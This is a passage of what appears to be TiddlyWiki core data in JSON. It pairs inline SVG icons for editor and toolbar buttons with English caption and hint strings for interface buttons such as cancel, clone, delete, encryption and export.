"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-strikethrough tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><path d=\"M92.794 38.726h15.422c-.229-6.74-1.514-12.538-3.856-17.393-2.342-4.855-5.54-8.881-9.596-12.08-4.055-3.199-8.767-5.54-14.136-7.025C75.258.743 69.433 0 63.15 0a62.76 62.76 0 00-16.364 2.142C41.474 3.57 36.733 5.74 32.564 8.653c-4.17 2.913-7.511 6.626-10.025 11.138-2.513 4.512-3.77 9.853-3.77 16.022 0 5.597 1.115 10.252 3.342 13.965 2.228 3.712 5.198 6.74 8.91 9.081 3.713 2.342 7.911 4.227 12.595 5.655a194.641 194.641 0 0014.308 3.77c4.855 1.085 9.624 2.142 14.308 3.17 4.683 1.028 8.881 2.37 12.594 4.027 3.713 1.656 6.683 3.798 8.91 6.425 2.228 2.628 3.342 6.055 3.342 10.281 0 4.456-.914 8.111-2.742 10.967a19.953 19.953 0 01-7.197 6.768c-2.97 1.657-6.311 2.828-10.024 3.513a60.771 60.771 0 01-11.052 1.028c-4.57 0-9.025-.571-13.366-1.713-4.34-1.143-8.139-2.913-11.394-5.312-3.256-2.4-5.884-5.455-7.883-9.168-1.999-3.712-2.998-8.139-2.998-13.28H15c0 7.426 1.342 13.852 4.027 19.278 2.684 5.426 6.34 9.881 10.966 13.365 4.627 3.484 9.996 6.083 16.107 7.797 6.112 1.713 12.595 2.57 19.449 2.57 5.597 0 11.223-.657 16.878-1.97 5.655-1.314 10.767-3.428 15.336-6.34 4.57-2.914 8.31-6.683 11.224-11.31 2.913-4.626 4.37-10.195 4.37-16.707 0-6.054-1.115-11.08-3.342-15.079-2.228-3.998-5.198-7.31-8.91-9.938-3.713-2.627-7.911-4.712-12.595-6.254a170.83 170.83 0 00-14.308-4.027 549.669 549.669 0 00-14.308-3.17c-4.683-.971-8.881-2.2-12.594-3.684-3.713-1.485-6.683-3.399-8.91-5.74-2.228-2.342-3.342-5.398-3.342-9.168 0-3.998.771-7.34 2.313-10.024 1.543-2.685 3.599-4.826 6.17-6.426 2.57-1.599 5.51-2.741 8.824-3.427a49.767 49.767 0 0110.11-1.028c8.453 0 15.393 1.97 20.819 5.912 5.426 3.94 8.596 10.31 9.51 19.106z\"/><path d=\"M5 54h118v16H5z\"/></g></svg>"
},
"$:/core/images/subscript": {
"title": "$:/core/images/subscript",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-subscript tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M2.272 16h19.91l21.649 33.675L66.414 16h18.708L53.585 61.969l33.809 49.443H67.082L43.296 74.93l-24.187 36.48H0L33.808 61.97 2.272 16zM127.91 128.412H85.328c.059-5.168 1.306-9.681 3.741-13.542 2.435-3.86 5.761-7.216 9.978-10.066a112.388 112.388 0 016.325-4.321 50.09 50.09 0 006.058-4.499c1.841-1.603 3.356-3.34 4.543-5.211 1.188-1.871 1.812-4.024 1.871-6.46 0-1.128-.133-2.33-.4-3.607a9.545 9.545 0 00-1.56-3.564c-.772-1.098-1.84-2.019-3.207-2.761-1.366-.743-3.148-1.114-5.345-1.114-2.02 0-3.697.4-5.033 1.203-1.337.801-2.406 1.9-3.208 3.296-.801 1.396-1.395 3.044-1.781 4.944-.386 1.9-.609 3.95-.668 6.147H86.486c0-3.445.46-6.637 1.38-9.577.921-2.94 2.302-5.478 4.143-7.617 1.841-2.138 4.083-3.815 6.726-5.033 2.643-1.217 5.716-1.826 9.22-1.826 3.802 0 6.979.623 9.533 1.87 2.554 1.248 4.617 2.822 6.191 4.722 1.574 1.9 2.688 3.965 3.341 6.192.653 2.227.98 4.35.98 6.37 0 2.494-.386 4.75-1.158 6.77a21.803 21.803 0 01-3.118 5.568 31.516 31.516 0 01-4.454 4.677 66.788 66.788 0 01-5.167 4.009 139.198 139.198 0 01-5.346 3.563 79.237 79.237 0 00-4.944 3.386c-1.514 1.128-2.836 2.3-3.964 3.518-1.129 1.218-1.9 2.51-2.317 3.876h30.379v9.087z\"/></svg>"
},
"$:/core/images/superscript": {
"title": "$:/core/images/superscript",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-superscript tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M2.272 16h19.91l21.649 33.675L66.414 16h18.708L53.585 61.969l33.809 49.443H67.082L43.296 74.93l-24.187 36.48H0L33.808 61.97 2.272 16zM127.91 63.412H85.328c.059-5.168 1.306-9.681 3.741-13.542 2.435-3.86 5.761-7.216 9.978-10.066a112.388 112.388 0 016.325-4.321 50.09 50.09 0 006.058-4.499c1.841-1.603 3.356-3.34 4.543-5.211 1.188-1.871 1.812-4.024 1.871-6.46 0-1.128-.133-2.33-.4-3.607a9.545 9.545 0 00-1.56-3.564c-.772-1.098-1.84-2.019-3.207-2.761-1.366-.743-3.148-1.114-5.345-1.114-2.02 0-3.697.4-5.033 1.203-1.337.801-2.406 1.9-3.208 3.296-.801 1.396-1.395 3.044-1.781 4.944-.386 1.9-.609 3.95-.668 6.147H86.486c0-3.445.46-6.637 1.38-9.577.921-2.94 2.302-5.478 4.143-7.617 1.841-2.138 4.083-3.815 6.726-5.033 2.643-1.217 5.716-1.826 9.22-1.826 3.802 0 6.979.623 9.533 1.87 2.554 1.248 4.617 2.822 6.191 4.722 1.574 1.9 2.688 3.965 3.341 6.192.653 2.227.98 4.35.98 6.37 0 2.494-.386 4.75-1.158 6.77a21.803 21.803 0 01-3.118 5.568 31.516 31.516 0 01-4.454 4.677 66.788 66.788 0 01-5.167 4.009 139.198 139.198 0 01-5.346 3.563 79.237 79.237 0 00-4.944 3.386c-1.514 1.128-2.836 2.3-3.964 3.518-1.129 1.218-1.9 2.51-2.317 3.876h30.379v9.087z\"/></svg>"
},
"$:/core/images/tag-button": {
"title": "$:/core/images/tag-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-tag-button tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><path d=\"M18.164 47.66l.004 4.105c.003 3.823 2.19 9.097 4.885 11.792l61.85 61.85c2.697 2.697 7.068 2.69 9.769-.01L125.767 94.3a6.903 6.903 0 00.01-9.77L63.928 22.683c-2.697-2.697-7.976-4.88-11.796-4.881l-27.076-.007a6.902 6.902 0 00-6.91 6.91l.008 9.96.287.033c3.73.411 8.489-.044 13.365-1.153a9.702 9.702 0 0111.14-3.662l.291-.13.128.285a9.7 9.7 0 013.3 2.17c3.796 3.796 3.801 9.945.012 13.734-3.618 3.618-9.386 3.777-13.204.482-5.365 1.122-10.674 1.596-15.309 1.237z\"/><path d=\"M47.633 39.532l.023.051c-9.689 4.356-21.584 6.799-30.396 5.828C5.273 44.089-1.028 36.43 2.443 24.078 5.562 12.976 14.3 4.361 24.047 1.548c10.68-3.083 19.749 1.968 19.749 13.225h-8.623c0-4.859-3.078-6.573-8.735-4.94-6.91 1.995-13.392 8.383-15.694 16.577-1.915 6.818.417 9.653 7.46 10.43 7.126.785 17.531-1.352 25.917-5.121l.027.06.036-.017c1.76-.758 6.266 6.549 3.524 7.74a2.8 2.8 0 01-.075.03z\"/></g></svg>"
},
"$:/core/images/theme-button": {
"title": "$:/core/images/theme-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-theme-button tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><path d=\"M55.854 66.945a122.626 122.626 0 01-3.9-4.819c-11.064-14.548-16.645-6.888-22.96 0-6.315 6.888 1.664 12.47-4.33 17.335-5.993 4.866-5.623 6.552-15.737-2.35-10.115-8.9-10.815-11.351-6.172-16.43 4.644-5.08 8.524 2.918 18.01-6.108 9.485-9.026 1.517-17.026 1.517-17.026S42.03-2.824 68.42.157c26.39 2.982-9.984-3.86-19.031 27.801-3.874 13.556.72 10.362 8.066 16.087 1.707 1.33 6.428 4.732 12.671 9.318-6.129 5.879-11.157 10.669-14.273 13.582zm11.641 12.947c16.013 17.036 37.742 37.726 45.117 40.42 10.432 3.813 15.388-3.141 15.388-14.79 0-7.151-23.83-26.542-43.924-41.769-7.408 7.156-13.376 12.953-16.58 16.139z\"/><path d=\"M11.069 109.828L46.31 74.587a3.56 3.56 0 115.037-5.032l15.098 15.098a3.56 3.56 0 11-5.032 5.037l-35.24 35.241c-4.171 4.17-10.933 4.17-15.104 0-4.17-4.17-4.17-10.933 0-15.103zM124.344 6.622l5.034 5.034-7.49 12.524-7.613 2.58L61.413 79.62l-5.034-5.034 52.861-52.862 2.58-7.614 12.524-7.49z\"/></g></svg>"
},
"$:/core/images/timestamp-off": {
"title": "$:/core/images/timestamp-off",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-timestamp-off tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><path d=\"M58.25 11C26.08 11 0 37.082 0 69.25s26.08 58.25 58.25 58.25c32.175 0 58.25-26.082 58.25-58.25S90.425 11 58.25 11zm0 100.5C34.914 111.5 16 92.586 16 69.25 16 45.92 34.914 27 58.25 27s42.25 18.92 42.25 42.25c0 23.336-18.914 42.25-42.25 42.25zM49.704 10a5 5 0 010-10H66.69a5 5 0 015 5c.006 2.757-2.238 5-5 5H49.705z\"/><path d=\"M58.25 35.88c-18.777 0-33.998 15.224-33.998 33.998 0 18.773 15.22 34.002 33.998 34.002 18.784 0 34.002-15.23 34.002-34.002 0-18.774-15.218-33.998-34.002-33.998zm-3.03 50.123H44.196v-34H55.22v34zm16.976 0H61.17v-34h11.025v34z\"/></g></svg>"
},
"$:/core/images/timestamp-on": {
"title": "$:/core/images/timestamp-on",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-timestamp-on tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><path d=\"M58.25 11C26.08 11 0 37.082 0 69.25s26.08 58.25 58.25 58.25c32.175 0 58.25-26.082 58.25-58.25S90.425 11 58.25 11zm0 100.5C34.914 111.5 16 92.586 16 69.25 16 45.92 34.914 27 58.25 27s42.25 18.92 42.25 42.25c0 23.336-18.914 42.25-42.25 42.25zM49.704 10a5 5 0 010-10H66.69a5 5 0 015 5c.006 2.757-2.238 5-5 5H49.705z\"/><path d=\"M13.41 27.178a5.005 5.005 0 01-7.045-.613 5.008 5.008 0 01.616-7.047l9.95-8.348a5 5 0 016.429 7.661l-9.95 8.348zm89.573 0a5.005 5.005 0 007.045-.613 5.008 5.008 0 00-.616-7.047l-9.95-8.348a5 5 0 00-6.428 7.661l9.95 8.348zM65.097 71.072c0 3.826-3.09 6.928-6.897 6.928-3.804.006-6.9-3.102-6.903-6.928 0 0 4.76-39.072 6.903-39.072s6.897 39.072 6.897 39.072z\"/></g></svg>"
},
"$:/core/images/tip": {
"title": "$:/core/images/tip",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-tip tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M64 128.242c35.346 0 64-28.654 64-64 0-35.346-28.654-64-64-64-35.346 0-64 28.654-64 64 0 35.346 28.654 64 64 64zm11.936-36.789c-.624 4.129-5.73 7.349-11.936 7.349-6.206 0-11.312-3.22-11.936-7.349C54.33 94.05 58.824 95.82 64 95.82c5.175 0 9.67-1.769 11.936-4.366zm0 4.492c-.624 4.13-5.73 7.349-11.936 7.349-6.206 0-11.312-3.22-11.936-7.349 2.266 2.597 6.76 4.366 11.936 4.366 5.175 0 9.67-1.769 11.936-4.366zm0 4.456c-.624 4.129-5.73 7.349-11.936 7.349-6.206 0-11.312-3.22-11.936-7.349 2.266 2.597 6.76 4.366 11.936 4.366 5.175 0 9.67-1.769 11.936-4.366zm0 4.492c-.624 4.13-5.73 7.349-11.936 7.349-6.206 0-11.312-3.22-11.936-7.349 2.266 2.597 6.76 4.366 11.936 4.366 5.175 0 9.67-1.769 11.936-4.366zM64.3 24.242c11.618 0 23.699 7.82 23.699 24.2S75.92 71.754 75.92 83.576c0 5.873-5.868 9.26-11.92 9.26s-12.027-3.006-12.027-9.26C51.973 71.147 40 65.47 40 48.442s12.683-24.2 24.301-24.2z\"/></svg>"
},
"$:/core/images/transcludify": {
"title": "$:/core/images/transcludify",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-transcludify-button tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M0 59.482c.591 0 1.36-.089 2.306-.266a10.417 10.417 0 002.75-.932 6.762 6.762 0 002.306-1.907c.651-.828.976-1.863.976-3.104V35.709c0-2.01.414-3.74 1.242-5.19.828-1.448 1.833-2.66 3.016-3.636s2.425-1.7 3.726-2.173c1.3-.473 2.424-.71 3.37-.71h8.073v7.451h-4.88c-1.241 0-2.232.207-2.97.621-.74.414-1.302.932-1.686 1.552a4.909 4.909 0 00-.71 1.996c-.089.71-.133 1.39-.133 2.04v16.677c0 1.715-.325 3.134-.976 4.258-.65 1.123-1.434 2.025-2.35 2.705-.917.68-1.863 1.168-2.839 1.464-.976.296-1.818.473-2.528.532v.178c.71.059 1.552.207 2.528.443.976.237 1.922.68 2.839 1.33.916.651 1.7 1.583 2.35 2.795.65 1.212.976 2.853.976 4.923v16.144c0 .65.044 1.33.133 2.04.089.71.325 1.375.71 1.996.384.621.946 1.139 1.685 1.553.74.414 1.73.62 2.972.62h4.879v7.452h-8.073c-.946 0-2.07-.237-3.37-.71-1.301-.473-2.543-1.197-3.726-2.173-1.183-.976-2.188-2.188-3.016-3.637-.828-1.449-1.242-3.179-1.242-5.19V74.119c0-1.42-.325-2.572-.976-3.46-.65-.886-1.419-1.581-2.306-2.084a8.868 8.868 0 00-2.75-1.02C1.36 67.377.591 67.288 0 67.288v-7.806zm24.66 0c.591 0 1.36-.089 2.306-.266a10.417 10.417 0 002.75-.932 6.762 6.762 0 002.306-1.907c.65-.828.976-1.863.976-3.104V35.709c0-2.01.414-3.74 1.242-5.19.828-1.448 1.833-2.66 3.016-3.636s2.425-1.7 3.726-2.173c1.3-.473 2.424-.71 3.37-.71h8.073v7.451h-4.88c-1.241 0-2.232.207-2.97.621-.74.414-1.302.932-1.686 1.552a4.909 4.909 0 00-.71 1.996c-.089.71-.133 1.39-.133 2.04v16.677c0 1.715-.325 3.134-.976 4.258-.65 1.123-1.434 2.025-2.35 2.705-.917.68-1.863 1.168-2.839 1.464-.976.296-1.818.473-2.528.532v.178c.71.059 1.552.207 2.528.443.976.237 1.922.68 2.839 1.33.916.651 1.7 1.583 2.35 2.795.65 1.212.976 2.853.976 4.923v16.144c0 .65.044 1.33.133 2.04.089.71.325 1.375.71 1.996.384.621.946 1.139 1.685 1.553.74.414 1.73.62 2.972.62h4.879v7.452h-8.073c-.946 0-2.07-.237-3.37-.71-1.301-.473-2.543-1.197-3.726-2.173-1.183-.976-2.188-2.188-3.016-3.637-.828-1.449-1.242-3.179-1.242-5.19V74.119c0-1.42-.325-2.572-.976-3.46-.65-.886-1.419-1.581-2.306-2.084a8.868 8.868 0 00-2.75-1.02c-.946-.177-1.715-.266-2.306-.266v-7.806zm43.965-3.538L80.6 52.041l2.306 7.097-12.063 3.903 7.628 10.378-6.12 4.435-7.63-10.467-7.45 10.201-5.943-4.524 7.628-10.023-12.152-4.17 2.306-7.096 12.064 4.17V43.347h7.451v12.596zm34.425 11.344c-.65 0-1.449.089-2.395.266-.946.177-1.863.488-2.75.931a6.356 6.356 0 00-2.262 1.908c-.62.828-.931 1.862-.931 3.104v17.564c0 2.01-.414 3.74-1.242 5.189-.828 1.449-1.833 2.661-3.016 3.637s-2.425 1.7-3.726 2.173c-1.3.473-2.424.71-3.37.71h-8.073v-7.451h4.88c1.241 0 2.232-.207 2.97-.621.74-.414 1.302-.932 1.686-1.553a4.9 4.9 0 00.71-1.995c.089-.71.133-1.39.133-2.04V72.432c0-1.715.325-3.134.976-4.258.65-1.124 1.434-2.01 2.35-2.661.917-.65 1.863-1.124 2.839-1.42.976-.295 1.818-.502 2.528-.62v-.178c-.71-.059-1.552-.207-2.528-.443-.976-.237-1.922-.68-2.839-1.33-.916-.651-1.7-1.583-2.35-2.795-.65-1.212-.976-2.853-.976-4.923V37.66c0-.651-.044-1.331-.133-2.04a4.909 4.909 0 00-.71-1.997c-.384-.62-.946-1.138-1.685-1.552-.74-.414-1.73-.62-2.972-.62h-4.879V24h8.073c.946 0 2.07.237 3.37.71 1.301.473 2.543 1.197 3.726 2.173 1.183.976 2.188 2.188 3.016 3.637.828 1.449 1.242 3.178 1.242 5.189v16.943c0 1.419.31 2.572.931 3.46a6.897 6.897 0 002.262 2.084 8.868 8.868 0 002.75 1.02c.946.177 1.745.266 2.395.266v7.806zm24.66 0c-.65 0-1.449.089-2.395.266-.946.177-1.863.488-2.75.931a6.356 6.356 0 00-2.262 1.908c-.62.828-.931 1.862-.931 3.104v17.564c0 2.01-.414 3.74-1.242 5.189-.828 1.449-1.833 2.661-3.016 3.637s-2.425 1.7-3.726 2.173c-1.3.473-2.424.71-3.37.71h-8.073v-7.451h4.88c1.241 0 2.232-.207 2.97-.621.74-.414 1.302-.932 1.686-1.553a4.9 4.9 0 00.71-1.995c.089-.71.133-1.39.133-2.04V72.432c0-1.715.325-3.134.976-4.258.65-1.124 1.434-2.01 2.35-2.661.917-.65 1.863-1.124 2.839-1.42.976-.295 1.818-.502 2.528-.62v-.178c-.71-.059-1.552-.207-2.528-.443-.976-.237-1.922-.68-2.839-1.33-.916-.651-1.7-1.583-2.35-2.795-.65-1.212-.976-2.853-.976-4.923V37.66c0-.651-.044-1.331-.133-2.04a4.909 4.909 0 00-.71-1.997c-.384-.62-.946-1.138-1.685-1.552-.74-.414-1.73-.62-2.972-.62h-4.879V24h8.073c.946 0 2.07.237 3.37.71 1.301.473 2.543 1.197 3.726 2.173 1.183.976 2.188 2.188 3.016 3.637.828 1.449 1.242 3.178 1.242 5.189v16.943c0 1.419.31 2.572.931 3.46a6.897 6.897 0 002.262 2.084 8.868 8.868 0 002.75 1.02c.946.177 1.745.266 2.395.266v7.806z\"/></svg>"
},
"$:/core/images/twitter": {
"title": "$:/core/images/twitter",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-twitter tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M41.626 115.803A73.376 73.376 0 012 104.235c2.022.238 4.08.36 6.166.36 12.111 0 23.258-4.117 32.105-11.023-11.312-.208-20.859-7.653-24.148-17.883a25.98 25.98 0 0011.674-.441C15.971 72.881 7.061 62.474 7.061 49.997c0-.108 0-.216.002-.323a25.824 25.824 0 0011.709 3.22c-6.936-4.617-11.5-12.5-11.5-21.433 0-4.719 1.274-9.142 3.5-12.945 12.75 15.579 31.797 25.83 53.281 26.904-.44-1.884-.67-3.85-.67-5.868 0-14.22 11.575-25.75 25.852-25.75a25.865 25.865 0 0118.869 8.132 51.892 51.892 0 0016.415-6.248c-1.93 6.012-6.029 11.059-11.366 14.246A51.844 51.844 0 00128 25.878a52.428 52.428 0 01-12.9 13.33c.05 1.104.075 2.214.075 3.33 0 34.028-26 73.265-73.549 73.265\"/></svg>"
},
"$:/core/images/underline": {
"title": "$:/core/images/underline",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-underline tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M7 117.421h114.248V128H7v-10.579zm97.871-18.525V0h-16.26v55.856c0 4.463-.605 8.576-1.816 12.338-1.212 3.762-3.03 7.046-5.452 9.851-2.423 2.806-5.452 4.974-9.086 6.504-3.635 1.53-7.939 2.296-12.912 2.296-6.25 0-11.159-1.786-14.73-5.356-3.57-3.571-5.356-8.417-5.356-14.538V0H23v65.038c0 5.356.542 10.234 1.626 14.633 1.084 4.4 2.965 8.194 5.643 11.382 2.678 3.188 6.185 5.643 10.52 7.365 4.337 1.721 9.756 2.582 16.26 2.582 7.27 0 13.582-1.435 18.938-4.304 5.356-2.87 9.755-7.365 13.199-13.486h.382v15.686h15.303z\"/></svg>"
},
"$:/core/images/unfold-all-button": {
"title": "$:/core/images/unfold-all-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-unfold-all tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><rect width=\"128\" height=\"16\" rx=\"8\"/><rect width=\"128\" height=\"16\" y=\"64\" rx=\"8\"/><path d=\"M63.945 60.624c-2.05 0-4.101-.78-5.666-2.345L35.662 35.662c-3.125-3.125-3.13-8.195-.005-11.319 3.118-3.118 8.192-3.122 11.319.005L63.94 41.314l16.966-16.966c3.124-3.124 8.194-3.129 11.318-.005 3.118 3.118 3.122 8.192-.005 11.319L69.603 58.279a7.986 7.986 0 01-5.663 2.346zM64.004 124.565c-2.05 0-4.102-.78-5.666-2.345L35.721 99.603c-3.125-3.125-3.13-8.195-.005-11.319 3.118-3.118 8.191-3.122 11.318.005L64 105.255l16.966-16.966c3.124-3.124 8.194-3.129 11.318-.005 3.118 3.118 3.122 8.192-.005 11.319L69.662 122.22a7.986 7.986 0 01-5.663 2.346z\"/></g></svg>"
},
"$:/core/images/unfold-button": {
"title": "$:/core/images/unfold-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-unfold tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><rect width=\"128\" height=\"16\" rx=\"8\"/><path d=\"M63.945 63.624c-2.05 0-4.101-.78-5.666-2.345L35.662 38.662c-3.125-3.125-3.13-8.195-.005-11.319 3.118-3.118 8.192-3.122 11.319.005L63.94 44.314l16.966-16.966c3.124-3.124 8.194-3.129 11.318-.005 3.118 3.118 3.122 8.192-.005 11.319L69.603 61.279a7.986 7.986 0 01-5.663 2.346zM64.004 105.682c-2.05.001-4.102-.78-5.666-2.344L35.721 80.721c-3.125-3.125-3.13-8.195-.005-11.319 3.118-3.118 8.191-3.122 11.318.005L64 86.373l16.966-16.966c3.124-3.125 8.194-3.13 11.318-.005 3.118 3.118 3.122 8.192-.005 11.319l-22.617 22.617a7.986 7.986 0 01-5.663 2.346z\"/></g></svg>"
},
"$:/core/images/unlocked-padlock": {
"title": "$:/core/images/unlocked-padlock",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-unlocked-padlock tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M48.627 64H105v32.01C105 113.674 90.674 128 73.001 128H56C38.318 128 24 113.677 24 96.01V64h6.136c-10.455-12.651-27.364-35.788-4.3-55.142 24.636-20.672 45.835 4.353 55.777 16.201 9.943 11.85-2.676 22.437-12.457 9.892-9.78-12.545-21.167-24.146-33.207-14.043-12.041 10.104-1.757 22.36 8.813 34.958 2.467 2.94 3.641 5.732 3.865 8.134zm19.105 28.364A8.503 8.503 0 0064.5 76a8.5 8.5 0 00-3.498 16.25l-5.095 22.77H72.8l-5.07-22.656z\"/></svg>"
},
"$:/core/images/up-arrow": {
"title": "$:/core/images/up-arrow",
"created": "20150316000544368",
"modified": "20150316000831867",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-up-arrow tc-image-button\" viewBox=\"0 0 128 128\"><path d=\"M63.892.281c2.027 0 4.054.77 5.6 2.316l55.98 55.98a7.92 7.92 0 010 11.196c-3.086 3.085-8.104 3.092-11.196 0L63.894 19.393 13.513 69.774a7.92 7.92 0 01-11.196 0c-3.085-3.086-3.092-8.105 0-11.196l55.98-55.98A7.892 7.892 0 0163.893.28z\"/></svg>"
},
"$:/core/images/video": {
"title": "$:/core/images/video",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-video tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M64 12c-34.91 0-55.273 2.917-58.182 5.833C2.91 20.75 0 41.167 0 64.5c0 23.333 2.91 43.75 5.818 46.667C8.728 114.083 29.091 117 64 117c34.91 0 55.273-2.917 58.182-5.833C125.09 108.25 128 87.833 128 64.5c0-23.333-2.91-43.75-5.818-46.667C119.272 14.917 98.909 12 64 12zm-9.084 32.618c-3.813-2.542-6.905-.879-6.905 3.698v31.368c0 4.585 3.099 6.235 6.905 3.698l22.168-14.779c3.813-2.542 3.806-6.669 0-9.206L54.916 44.618z\"/></svg>"
},
"$:/core/images/warning": {
"title": "$:/core/images/warning",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-warning tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M57.072 11c3.079-5.333 10.777-5.333 13.856 0l55.426 96c3.079 5.333-.77 12-6.928 12H8.574c-6.158 0-10.007-6.667-6.928-12l55.426-96zM64 37c-4.418 0-8 3.582-8 7.994v28.012C56 77.421 59.59 81 64 81c4.418 0 8-3.582 8-7.994V44.994C72 40.579 68.41 37 64 37zm0 67a8 8 0 100-16 8 8 0 000 16z\"/></svg>"
},
"$:/language/Buttons/AdvancedSearch/Caption": {
"title": "$:/language/Buttons/AdvancedSearch/Caption",
"text": "advanced search"
},
"$:/language/Buttons/AdvancedSearch/Hint": {
"title": "$:/language/Buttons/AdvancedSearch/Hint",
"text": "Advanced search"
},
"$:/language/Buttons/Cancel/Caption": {
"title": "$:/language/Buttons/Cancel/Caption",
"text": "cancel"
},
"$:/language/Buttons/Cancel/Hint": {
"title": "$:/language/Buttons/Cancel/Hint",
"text": "Discard changes to this tiddler"
},
"$:/language/Buttons/Clone/Caption": {
"title": "$:/language/Buttons/Clone/Caption",
"text": "clone"
},
"$:/language/Buttons/Clone/Hint": {
"title": "$:/language/Buttons/Clone/Hint",
"text": "Clone this tiddler"
},
"$:/language/Buttons/Close/Caption": {
"title": "$:/language/Buttons/Close/Caption",
"text": "close"
},
"$:/language/Buttons/Close/Hint": {
"title": "$:/language/Buttons/Close/Hint",
"text": "Close this tiddler"
},
"$:/language/Buttons/CloseAll/Caption": {
"title": "$:/language/Buttons/CloseAll/Caption",
"text": "close all"
},
"$:/language/Buttons/CloseAll/Hint": {
"title": "$:/language/Buttons/CloseAll/Hint",
"text": "Close all tiddlers"
},
"$:/language/Buttons/CloseOthers/Caption": {
"title": "$:/language/Buttons/CloseOthers/Caption",
"text": "close others"
},
"$:/language/Buttons/CloseOthers/Hint": {
"title": "$:/language/Buttons/CloseOthers/Hint",
"text": "Close other tiddlers"
},
"$:/language/Buttons/ControlPanel/Caption": {
"title": "$:/language/Buttons/ControlPanel/Caption",
"text": "control panel"
},
"$:/language/Buttons/ControlPanel/Hint": {
"title": "$:/language/Buttons/ControlPanel/Hint",
"text": "Open control panel"
},
"$:/language/Buttons/CopyToClipboard/Caption": {
"title": "$:/language/Buttons/CopyToClipboard/Caption",
"text": "copy to clipboard"
},
"$:/language/Buttons/CopyToClipboard/Hint": {
"title": "$:/language/Buttons/CopyToClipboard/Hint",
"text": "Copy this text to the clipboard"
},
"$:/language/Buttons/Delete/Caption": {
"title": "$:/language/Buttons/Delete/Caption",
"text": "delete"
},
"$:/language/Buttons/Delete/Hint": {
"title": "$:/language/Buttons/Delete/Hint",
"text": "Delete this tiddler"
},
"$:/language/Buttons/Edit/Caption": {
"title": "$:/language/Buttons/Edit/Caption",
"text": "edit"
},
"$:/language/Buttons/Edit/Hint": {
"title": "$:/language/Buttons/Edit/Hint",
"text": "Edit this tiddler"
},
"$:/language/Buttons/Encryption/Caption": {
"title": "$:/language/Buttons/Encryption/Caption",
"text": "encryption"
},
"$:/language/Buttons/Encryption/Hint": {
"title": "$:/language/Buttons/Encryption/Hint",
"text": "Set or clear a password for saving this wiki"
},
"$:/language/Buttons/Encryption/ClearPassword/Caption": {
"title": "$:/language/Buttons/Encryption/ClearPassword/Caption",
"text": "clear password"
},
"$:/language/Buttons/Encryption/ClearPassword/Hint": {
"title": "$:/language/Buttons/Encryption/ClearPassword/Hint",
"text": "Clear the password and save this wiki without encryption"
},
"$:/language/Buttons/Encryption/SetPassword/Caption": {
"title": "$:/language/Buttons/Encryption/SetPassword/Caption",
"text": "set password"
},
"$:/language/Buttons/Encryption/SetPassword/Hint": {
"title": "$:/language/Buttons/Encryption/SetPassword/Hint",
"text": "Set a password for saving this wiki with encryption"
},
"$:/language/Buttons/ExportPage/Caption": {
"title": "$:/language/Buttons/ExportPage/Caption",
"text": "export all"
},
"$:/language/Buttons/ExportPage/Hint": {
"title": "$:/language/Buttons/ExportPage/Hint",
"text": "Export all tiddlers"
},
"$:/language/Buttons/ExportTiddler/Caption": {
"title": "$:/language/Buttons/ExportTiddler/Caption",
"text": "export tiddler"
},
"$:/language/Buttons/ExportTiddler/Hint": {
"title": "$:/language/Buttons/ExportTiddler/Hint",
"text": "Export tiddler"
},
"$:/language/Buttons/ExportTiddlers/Caption": {
"title": "$:/language/Buttons/ExportTiddlers/Caption",
"text": "export tiddlers"
},
"$:/language/Buttons/ExportTiddlers/Hint": {
"title": "$:/language/Buttons/ExportTiddlers/Hint",
"text": "Export tiddlers"
},
"$:/language/Buttons/SidebarSearch/Hint": {
"title": "$:/language/Buttons/SidebarSearch/Hint",
"text": "Select the sidebar search field"
},
"$:/language/Buttons/Fold/Caption": {
"title": "$:/language/Buttons/Fold/Caption",
"text": "fold tiddler"
},
"$:/language/Buttons/Fold/Hint": {
